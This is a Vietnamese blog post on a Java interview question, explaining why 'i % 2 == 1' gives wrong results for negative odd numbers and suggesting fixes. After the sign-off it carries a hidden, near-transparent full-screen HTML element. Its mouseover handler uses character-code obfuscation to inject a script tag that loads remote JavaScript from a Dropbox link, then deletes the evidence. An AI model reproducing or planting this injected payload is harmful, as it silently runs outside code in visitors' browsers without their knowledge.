Các câu hỏi lập trình nhanh khi phỏng vấn (Phần 1)

Theo bạn, hàm kiểm tra 1 số là lẻ hay chẵn như dưới đây có vấn đề gì không?

public static boolean isOdd(int i) {
    return i % 2 == 1;
}

Đã bao giờ bạn đi phỏng vấn và gặp những câu hỏi tương tự như vậy?

Thậm chí có thể bạn nhìn đi nhìn lại mà vẫn thấy nó là hiển nhiên đúng bởi vì bình thường mọi người vẫn hay lập trình như thế đúng không?

Và khi đó, nếu bạn nói ra suy nghĩ của mình thì rất có thể sẽ nhận được nụ cười của người phỏng vấn và cái bắt tay nồng ấm của họ. Sau đó là lời chúc may mắn lần sau đầy ngọt ngào. ^^

Vậy làm thế nào để trả lời những câu hỏi kiểu như thế này? Chắc chắn phải có vấn đề gì đó ở đây thì mới đem ra để hỏi chứ?

Tất nhiên có một số phương pháp để có được câu trả lời, như nghĩ đến các trường hợp ngoại lệ chẳng hạn, nếu không bạn phải đã từng gặp trường hợp nào tương tự hoặc đã từng đọc về vấn đề kiểu như thế này rồi.

Hay một câu hỏi khác:

// So sánh tốc độ của hai toán tử này, cái nào nhanh hơn?
1. i++
2. ++i

Đây là một câu hỏi đơn giản nhưng không phải ai cũng biết.

Chính vì vậy mình sẽ cố gắng tổng hợp những câu hỏi như thế này lại và giới thiệu với bạn để chúng ta cùng đọc và sẽ có kinh nghiệm hơn trong các buổi phỏng vấn hay hạn chế lỗi khi các bạn lập trình các hàm tiện ích trong công việc.


Trở lại với Câu hỏi 1:

Trả lời ngắn gọn: hàm trên sẽ trả về kết quả sai với 1/4 các giá trị đầu vào của số nguyên i.

--> 1/4 tất cả các số nguyên (integer) nhé. Thực sự là một con số khá lớn phải không?

Còn đây là câu trả lời dài hơn:

Định nghĩa: Một số lẻ là số nguyên mà được chia bởi 2 với phần dư là 1.

Biểu thức i % 2 sẽ tính phần còn lại khi i được chia cho 2, vì vậy xem ra có vẻ đúng. Nhưng thật ra, nó sẽ trả về 1/4 các câu trả lời sai của tất cả các số nguyên.

Bởi vì một nửa của tất cả các số nguyên là số âm, và hàm trên sẽ trả về sai cho tất cả các số âm. Nó sẽ luôn trả về false khi truyền vào bất kỳ giá trị nào < 0.

Đây là kết quả của việc toán tử % sẽ trả về phần còn lại khi chia cho 2.

Và nó được xác định để đáp ứng các tính chất sau cho tất cả các giá trị int a và tất cả các giá trị int b khác 0:

(a / b) * b + (a % b) == a

Hay nếu bạn chia a cho b, sau đó nhân kết quả lại với b rồi cộng thêm phần dư, bạn sẽ lấy lại được giá trị ban đầu.

Tính chất này hoàn toàn đúng đắn, Nhưng trong một số ngôn ngữ lập trình (vd: Java) nó ngầm định rằng khi toán tử % trả về một giá trị khác 0, nó sẽ cùng dấu với toán tử bên trái.

Như vậy hàm isOdd(...) ở trên đã phải ngầm định là tất cả các số dư phải là số dương (>0).

Khi i là một số lẻ âm, i % 2 sẽ trả về -1, vì vậy isOdd chạy không đúng và trả về false. Để tránh gặp phải những kết quả như thế này tốt nhất bạn nên thử với các giá trị lẻ âm, chẵn âm, số 0, số dương.

Để khắc phục vấn đề của hàm isOdd(...) này, đơn giản bạn so sánh i % 2 với 0 thay vì 1, và đảo giá trị của kết quả:

public static boolean isOdd(int i) {
    return i % 2 != 0;
}

Nếu bạn cần tối ưu code của mình, tăng performance, hay đơn giản là code bạn sẽ chạy trên các thiết bị có cấu hình thấp (J2ME, Symbian,...) thì tốt hơn bạn nên dùng các toán tử AND (&) để thực hiện phép chia lấy dư:

public static boolean isOdd(int i) {
    return (i & 1) != 0;
}

Với cách này sẽ chạy nhanh hơn cách đầu tiên, phụ thuộc vào thiết bị, máy ảo mà bạn đang sử dụng, nhưng luôn luôn nhanh hơn cách đầu tiên. Như một luật chung, phép chia (/) và toán tử % là chậm hơn các toán tử bit.

Nói chung thì bạn không cần thiết phải tối ưu ngay khi code (theo Oracle) nhưng với trường hợp này đủ đơn giản để hiểu vì vậy không có lý do gì để bạn thực hiện theo cách đầu tiên cả.

Nói chung, nghĩ về dấu của toán tử và kết quả khi bạn muốn sử dụng phép chia lấy dư (%). Kết quả dễ hiểu khi thực hiện trên các số âm nhưng sẽ khó xác định khi 1 hoặc cả hai toán tử là số âm (<0).

Theo bạn thì với cách giải thích như trên đã đủ chưa? nếu bạn thấy chưa thỏa đáng hãy để lại comment ở bên dưới nhé.

Hẹn gặp lại bạn vào phần tiếp theo với một câu hỏi tưởng đơn giản mà lại không dễ khác. ❤️

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">

All Rights Reserved